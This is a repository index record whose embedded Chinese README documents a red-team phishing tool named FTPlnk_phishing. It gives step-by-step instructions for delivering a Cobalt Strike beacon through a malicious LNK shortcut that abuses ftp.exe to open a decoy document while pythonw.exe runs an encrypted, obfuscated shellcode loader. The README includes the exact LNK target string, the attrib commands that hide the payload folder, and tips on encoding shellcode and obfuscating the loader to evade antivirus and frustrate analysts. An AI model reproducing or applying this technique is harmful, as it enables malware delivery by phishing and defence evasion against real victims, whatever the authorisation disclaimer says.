{"id":14638065,"url":"https://github.com/Pizz33/FTPlnk_phishing","last_synced_at":"2025-09-07T06:32:17.096Z","repository":{"id":254231627,"uuid":"845880318","full_name":"Pizz33/FTPlnk_phishing","owner":"Pizz33","description":"FTP lnk调用pythonw程序，用于攻防钓鱼场景下免杀运行捆绑木马文件","archived":false,"fork":false,"pushed_at":"2024-08-27T02:28:34.000Z","size":9481,"stargazers_count":51,"open_issues_count":0,"forks_count":7,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-12-26T22:02:08.593Z","etag":null,"topics":["bypass-antivirus","cobaltstrike","phishing","redteam-tools"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Pizz33.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-22T05:28:56.000Z","updated_at":"2024-11-18T05:19:50.000Z","dependencies_parsed_at":"2024-08-22T07:35:36.509Z","dependency_job_id":null,"html_url":"https://github.com/Pizz33/FTPlnk_phishing","commit_stats":null,"previous_names":["pizz33/ftplnk_phishing"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Pizz33","download_url":"https://codeload.github.com/Pizz33/FTPlnk_phishing/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":232183051,"owners_count":18484725,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bypass-antivirus","cobaltstrike","phishing","redteam-tools"],"created_at":"2024-09-10T02:01:42.038Z","updated_at":"2025-01-02T10:31:26.795Z","avatar_url":"https://github.com/Pizz33.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"## 前言\n \n最近看到一些博客文章对红队样本做了一些分析，估计很快此方法便失效了，决定放出来供红队成员学习研究\n\nhttps://xz.aliyun.com/t/15308?time__1311=GqjxnD2Citq05DK54CqiKq7KYAKW948OObD\n\nhttps://www.52pojie.cn/thread-1956543-1-1.html\n\n其实这种方式在很早之前便出现了，之前更多的是调用powershell易被拦截\n\nhttps://www.freebuf.com/articles/web/325322.html\n\n但通过调用一些白程序(pythonw、javaw)仍可以绕过许多EDR杀软\n\n## 常规程序弊端\n\n- 如果使用捆绑程序释放文档和木马，容易被EDR杀软会标记为恶意，如某数字杀软常会产生 `qvm 报毒拦截`\n- 红队木马被上传沙箱后，容易失效并且可能会导致大量的虚拟beacon上线，对攻击方造成影响\n\n## 使用方式\n\n特此感谢 [pant0m](https://github.com/pant0m)，本工具在其基础上进行二改\n\n1、`cobaltstrike` 生成 `beacon_x64.bin`，或者使用其他C2的shellcode，默认匹配当前目录的第一个bin文件\n\n![image](https://github.com/user-attachments/assets/fc97cb09-f20c-4f38-b639-968d0cdbfb10)\n\n2、运行`generate.py`，自动加密`shellcode`并复制到当前`__init__`文件夹下\n\n![image](https://github.com/user-attachments/assets/bf3081fb-60fc-4bf2-b37f-68463473d453)\n\n3、设置属性隐藏文件夹 `__init__`\n\n```\nattrib -s -h -r __init__\nattrib +s +h +r __init__\n```\n\nLNK属性填写\n\n```\nC:\\Windows\\System32\\ftp.exe -\"\"s:__init__\\python.dll\n```\n![image](https://github.com/user-attachments/assets/3af29388-36b9-44f8-bffb-3f11b2ef488b)\n\npython.dll 内容为\n\n```\n!start /b __init__\\11.docx\n!start /b __init__\\pythonw.exe __init__\\main.py\nbye\n```\n\n## 实现效果\n\n![e58ad4a8c625481495a7137bee2837e](https://github.com/user-attachments/assets/f9b781b9-795f-4304-ad68-67ddac4ab393)\n\n## 代码加解密和混淆\n\nshellcode处理可使用 https://github.com/EgeBalci/sgn\n\n![image](https://github.com/user-attachments/assets/6dcff7a3-42f4-4194-afb5-06015a474395)\n\n加载方式为了简便选择本地解密加载\n\n如果说为了更好的防溯源和被蓝队捕获shellcode可使用远程加载的方式，但需要注意存储桶的权限配置\n\n解密loader因为需要携带在附件内，所以需要尽可能混淆，增加蓝队的逆向难度\n\nhttps://pyob.oxyry.com/\n\n![image](https://github.com/user-attachments/assets/3ad71315-9824-49b5-8196-e75afee1668c) \n\n## 坑点细节\n\n因为文件调用是在上一级目录下，因此`加密shellcode路径`应设置为相对的 `__init__/data.dat`\n\n```\ndef loadjson (file ='__init__/data.dat'):#line:14\n    with open (file ,'r',encoding ='utf-8')as O0OOO00O0OO0O0OO0 :#line:16\n        OOO0O0OO000OOO0O0 =json .load (O0OOO00O0OO0O0OO0 )\n```\n\npythonw.exe需要添加libs依赖才能正常运行，把文件夹下面的文件全部拷贝\n\n```\nC:\\Users\\Administrator\\AppData\\Local\\Programs\\Python\\Python38\\Lib\n```\n其实也可以使用javaw，像上面也有红队使用相关的样本，但是环境依赖太大不推荐，举一反三其他语言同理\n\n## 声明\n\n仅限用于技术研究和获得正式授权的攻防项目，请使用者遵守《中华人民共和国网络安全法》，切勿用于任何非法活动，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任！\n\n使用前先按照文档步骤一步一步来，报错问题自行百度解决，类似issue不予回复，感谢理解！\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FPizz33%2FFTPlnk_phishing","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FPizz33%2FFTPlnk_phishing","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FPizz33%2FFTPlnk_phishing/lists"}